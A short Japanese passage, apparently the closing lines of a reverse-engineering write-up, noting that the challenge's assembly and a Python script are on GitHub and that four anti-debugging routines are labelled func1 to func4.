 今回の問題のアセンブリのコードと先ほどのPythonコードに関してはgithub上に上げてある. なおアンチデバッグを行う4つの関数に関してはfunc1~4としており、それぞれ典型的なアンチデバッグの手法が取られている.

github.com

 

kmdnet